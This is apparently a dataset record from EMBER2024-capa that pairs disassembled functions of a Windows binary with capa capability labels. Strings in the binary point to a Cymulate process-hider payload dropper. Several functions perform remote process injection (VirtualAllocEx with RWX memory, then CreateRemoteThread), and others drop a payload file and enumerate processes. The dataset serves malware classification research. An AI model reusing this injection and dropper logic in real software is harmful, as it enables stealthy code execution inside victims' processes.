joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410620
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], 0
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.004122e0
add esp, 8
push str.x64CymulateProcessHider.exe
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call fcn.00422302
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4106ed
mov dword [ebp - 0xc], 0x9cc00
mov dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push 0x9cc00
push 0x43ae70
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4106bb
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jne 0x4106bb
mov dword [ebp - 0x14], 1
jmp 0x4106e1
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Log:SaveX64ProcessToFile::WriteFile___Failed___GetLastError_____lu__write_res___d__dwBytesWritten___lu__res_size___lu._n
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0x18
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x410708
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Log:SaveX64ProcessToFile::CreateFileA_Failed__lu_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x410710
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x516c24]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x114], 0
push 0x104
mov eax, dword [ebp + 8]
push eax
call fcn.004122e0
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
push str.Log:resFullName:__s_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
mov eax, dword [0x517b74]
mov ecx, dword [eax + 0x10]
push ecx
call fcn.0041c180
add esp, 4
mov esi, eax
mov edx, dword [0x517b74]
mov eax, dword [edx]
push eax
call fcn.0041c180
add esp, 4
add esi, eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0041c180
add esp, 4
add esi, eax
mov dword [ebp - 0x10c], esi
cmp dword [ebp - 0x10c], 0x104
jb 0x4107b9
mov edx, dword [ebp - 0x10c]
push edx
push str.Log:stack_overrun__length:_ulDestinationSize____d___n
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0xc
jmp 0x4107d4
mov ecx, dword [ebp - 0x10c]
push ecx
push str.Log:ulDestinationSize:__d_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
mov eax, dword [0x517b74]
mov ecx, dword [eax]
push ecx
push str.Log:resHandler__ResorceFileName:__s_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00419380
add esp, 0xc
mov ecx, dword [0x517b74]
mov edx, dword [ecx]
push edx
mov eax, dword [0x517b74]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._hs_hs_hs
lea eax, [ebp - 0x108]
push eax
call fcn.00407a20
add esp, 0x14
lea ecx, [ebp - 0x108]
push ecx
push str.Log:Payload_File___hs_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00418e00
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x4108ed
push 0
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x517b74]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x517b74]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x4108e0
mov eax, dword [0x517b74]
mov ecx, dword [ebp - 0x11c]
cmp ecx, dword [eax + 0xc]
jne 0x4108e0
mov dword [ebp - 0x114], 1
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x114]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416d02
mov esp, ebp
pop ebp
ret
Function at 0x410910
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x44
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.00419380
add esp, 0xc
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 0x100
xor ecx, ecx
mov word [ebp - 0x24], cx
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str.Log:Executing__s__s_n
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jge 0x410992
or eax, 0xffffffff
jmp 0x410995
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x410ab0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x516c24]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x148], 0
push 0x40
push 0
lea eax, [ebp - 0x13c]
push eax
call fcn.00419380
add esp, 0xc
push 0x40
lea ecx, [ebp - 0x13c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411590
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x410bf0
movzx edx, word [ebp - 0x13c]
cmp edx, 0x5a4d
jne 0x410bf0
push 0xf8
push 0
lea eax, [ebp - 0xfc]
push eax
call fcn.00419380
add esp, 0xc
push 0xf8
lea ecx, [ebp - 0xfc]
push ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x100]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411590
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x410bf0
cmp dword [ebp - 0xfc], 0x4550
jne 0x410bf0
mov edx, dword [ebp - 0xa8]
mov dword [ebp - 0x140], edx
cmp dword [ebp - 0x140], 0
je 0x410bf0
mov eax, dword [ebp - 0x140]
push eax
call fcn.004168a6
add esp, 4
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411590
add esp, 0x10
movzx eax, al
test eax, eax
je 0x410bd3
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
jmp 0x410bf0
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x150], edx
push 0
mov eax, dword [ebp - 0x150]
push eax
call fcn.00416898
add esp, 8
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00416d02
mov esp, ebp
pop ebp
ret
Function at 0x410cf0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
and eax, 0x20000000
je 0x410d5e
mov ecx, dword [ebp + 8]
and ecx, 0x40000000
je 0x410d38
mov edx, dword [ebp + 8]
and edx, 0x80000000
je 0x410d26
mov dword [ebp - 8], 0x40
jmp 0x410d2d
mov dword [ebp - 8], 0x20
mov eax, dword [ebp - 4]
or eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x410d5c
mov ecx, dword [ebp + 8]
and ecx, 0x80000000
je 0x410d4c
mov dword [ebp - 0xc], 0x80
jmp 0x410d53
mov dword [ebp - 0xc], 0x10
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
jmp 0x410db1
mov eax, dword [ebp + 8]
and eax, 0x40000000
je 0x410d8e
mov ecx, dword [ebp + 8]
and ecx, 0x80000000
je 0x410d7c
mov dword [ebp - 0x10], 4
jmp 0x410d83
mov dword [ebp - 0x10], 2
mov edx, dword [ebp - 4]
or edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
jmp 0x410db1
mov eax, dword [ebp + 8]
and eax, 0x80000000
je 0x410da1
mov dword [ebp - 0x14], 8
jmp 0x410da8
mov dword [ebp - 0x14], 1
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0x14]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
and edx, 0x4000000
je 0x410dc7
mov eax, dword [ebp - 4]
or eax, 0x200
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x411890
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov dword [ebp - 0x2c], 0
mov eax, 0x412400
sub eax, 0x4123b0
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], 0
je 0x4118c4
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041c180
add esp, 4
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x4118cb
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax + 0xc]
mov dword [ebp - 0x30], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x30]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x411a59
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0xc
mov dword [ebp - 0x24], ecx
xor edx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
push str.LoadLibraryA
push 0x4d8604
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00411db0
add esp, 8
mov dword [ebp - 0x3c], eax
cmp dword [ebp + 0xc], 0
je 0x41194f
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
jmp 0x411956
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x4123b0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411610
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411a44
push 0xc
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411610
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411a44
cmp dword [ebp + 0xc], 0
je 0x4119c6
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411610
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411a44
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x411a44
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x28], 0x54fd32fc
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x411a3a
cmp dword [ebp - 0x28], 0xab02cd03
jne 0x411a3a
push 0xc
lea eax, [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411590
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411a3a
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x2c]
mov esp, ebp
pop ebp
ret
Function at 0x411a60
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov byte [ebp - 1], 0
mov eax, 0x412460
sub eax, 0x412410
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
add ecx, 0xc
mov dword [ebp - 0x20], ecx
push 0x40
push 0x3000
mov edx, dword [ebp - 0x20]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x411bb4
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
push 0x4d8610
push 0x4d861c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.00411db0
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0xc]
push edx
push 0x412410
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411610
add esp, 0x10
movzx edx, al
test edx, edx
je 0x411b9f
push 0xc
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411610
add esp, 0x10
movzx eax, al
test eax, eax
je 0x411b9f
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x411b9f
push 0xffffffffffffffff
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], 0x54fd32fc
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x411b95
cmp dword [ebp - 0x1c], 0xab02cd03
jne 0x411b95
push 0xc
lea ecx, [ebp - 0x2c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411590
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x411b95
mov dl, byte [ebp - 0x24]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movzx eax, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x411fa0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x438730
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x254
mov eax, dword [0x516c24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
push eax
call fcn.0041c180
add esp, 4
add eax, 1
mov dword [ebp - 0x260], eax
xor ecx, ecx
mov eax, dword [ebp - 0x260]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x254]
push eax
call fcn.004168a6
add esp, 4
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x412073
mov ecx, dword [ebp - 0x254]
push ecx
push 0
mov edx, dword [ebp - 0x248]
push edx
call fcn.00419380
add esp, 0xc
cmp dword [ebp - 0x248], 0
je 0x41205b
xor eax, eax
mov ecx, dword [ebp - 0x248]
mov word [ecx], ax
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x258], edx
jmp 0x412065
mov dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x25c], eax
jmp 0x41207d
mov dword [ebp - 0x25c], 0
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x250], ecx
mov edx, dword [ebp - 0x260]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x250]
push ecx
call fcn.00422026
add esp, 0xc
mov dword [ebp - 4], 0
push 0
push 6
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xffffffff
je 0x41214f
mov dword [ebp - 0x240], 0x22c
push 0x228
push 0
lea edx, [ebp - 0x23c]
push edx
call fcn.00419380
add esp, 0xc
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x24c]
push ecx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x412142
mov edx, dword [ebp - 0x250]
push edx
lea eax, [ebp - 0x21c]
push eax
call fcn.0041c070
add esp, 8
test eax, eax
jne 0x41212b
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4121b1
lea edx, [ebp - 0x240]
push edx
mov eax, dword [ebp - 0x24c]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4120fd
mov ecx, dword [ebp - 0x24c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x250]
push edx
push str.Log:isProcessRunning:false:_ls__n
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0xc
xor al, al
jmp 0x4121b1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00416d02
mov esp, ebp
pop ebp
ret
Function at 0x415700
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410ab0
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x415802
mov edx, dword [ebp - 0xc]
push edx
call fcn.00410a30
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x28], 0
je 0x4157ee
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x28]
mov dword [ebp - 0x24], edx
mov eax, 0x4156f0
sub eax, 0x4156c0
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
push 0x40
push 0x3000
mov edx, dword [ebp - 0x20]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4157ee
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
push edx
push 0x4156c0
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411610
add esp, 0x10
movzx edx, al
test edx, edx
je 0x4157d9
push 0
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4157d9
mov byte [ebp - 2], 1
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x28], eax
push 0
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00416898
add esp, 8
movzx eax, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x417439
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x417478
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x417478
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x417478
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x417478
cmp dword [ecx + 0x74], 0xe
jbe 0x417478
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x421a93
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x516c24]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x4db4c4
push esi
call fcn.00429cc2
pop ecx
pop ecx
test eax, eax
jne 0x421ac1
xor al, al
jmp 0x421b3e
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.004217d4
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x421afb
push dword [ebp - 0x210]
call fcn.0041c20b
xor al, al
jmp 0x421b3c
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x421b01
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x421b21
push edx
call fcn.004219ca
pop ecx
test al, al
je 0x421aec
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x421b2f
mov bl, 1
push dword [ebp - 0x210]
call fcn.0041c20b
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00416d02
leave
ret
Function at 0x42a20c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4dd698
push 0x4dd690
push 0x4db2ec
push 0x1f
call fcn.0042a077
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42a240
push dword [ebp + 8]
mov ecx, esi
call dword [0x4392a0]
call esi
jmp 0x42a246
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x42a28a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4dd6a8
push 0x4dd6a0
push 0x4db310
push 0x21
call fcn.0042a077
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42a2c1
push dword [ebp + 8]
mov ecx, esi
call dword [0x4392a0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x42a2c9
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4dd6b0
push 0x4dd6a8
push 0x4db324
push 0x22
call fcn.0042a077
mov esi, eax
add esp, 0x10
test esi, esi
je 0x42a303
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x4392a0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x42df1e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42dfbb
push ebx
push esi
call fcn.0042dee7
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004273fe
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42df68
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42dfba
push edi
push eax
call fcn.00427320
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42df88
call fcn.004272e6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42dfb9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004273fe
add esp, 0x20
test eax, eax
jne 0x42dfa7
push edi
call fcn.004272e6
jmp 0x42dfaf
push ebx
call fcn.004272e6
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x42dfbe
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x42dfcf
pop esi
ret
push ebx
push edi
push esi
call fcn.0042dee7
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00427320
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x42dff7
push ebx
push esi
push edi
call fcn.00418e00
add esp, 0xc
push 0
call fcn.004272e6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x42e751
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042e26c

Function at 0x430860
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00426da0
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4308cf
cmp esi, dword [ebp - 4]
je 0x4308ca
cmp dword [ebp + 0xc], 0
je 0x4308ca
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4308a7
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004303b2
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4308d1
xor eax, eax
inc eax
jmp 0x4308d1
xor eax, eax
pop edi
pop esi
leave
ret